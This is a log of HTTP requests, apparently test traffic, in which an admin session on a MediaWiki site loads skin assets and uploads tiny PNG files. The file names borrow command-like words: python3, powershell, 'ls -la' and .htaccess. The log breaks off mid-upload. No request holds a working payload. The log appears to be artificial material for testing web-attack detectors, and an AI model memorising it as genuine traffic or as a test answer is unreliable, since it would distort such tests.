{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=qubw6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1181", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeLnH26h8zIQRGLCj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\u00109\u0011\u0005\u0000\u0002*\u00017\u0018t^\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_python3.png\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on python3\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nd0c9492d81be1a4d301463aa0c48b3dd6af23588+\\\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/images/0/09/Notes_on_python3.png?_=20261109210514", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=c2gfg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20powershell.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIeCXSkQvVQPCIc8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffdY\u0015\u0005\u0000\u0002f\u0001A\u0018\ufffd\ufffd\u0011\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_powershell.png\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on powershell\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n04df2036b25a874079015f228a4935836af2358b+\\\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_powershell.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/6/64/Notes_on_powershell.png?_=20261109210516", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_powershell.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20ls%20-la.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjYhcLM0KCdNU1Yr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdcH\ufffd\u0002\u0000\u0002\ufffd\u0001K\ufffdT\ufffdF\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_ls_-la.png\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on ls -la\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n17308033f79e760cc2a6dd6065044caf6af2358c+\\\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_ls_-la.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/3/32/Notes_on_ls_-la.png?_=20261109210518", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_ls_-la.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20.htaccess.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1187", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEXz4cjBllRc2Dm3", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; 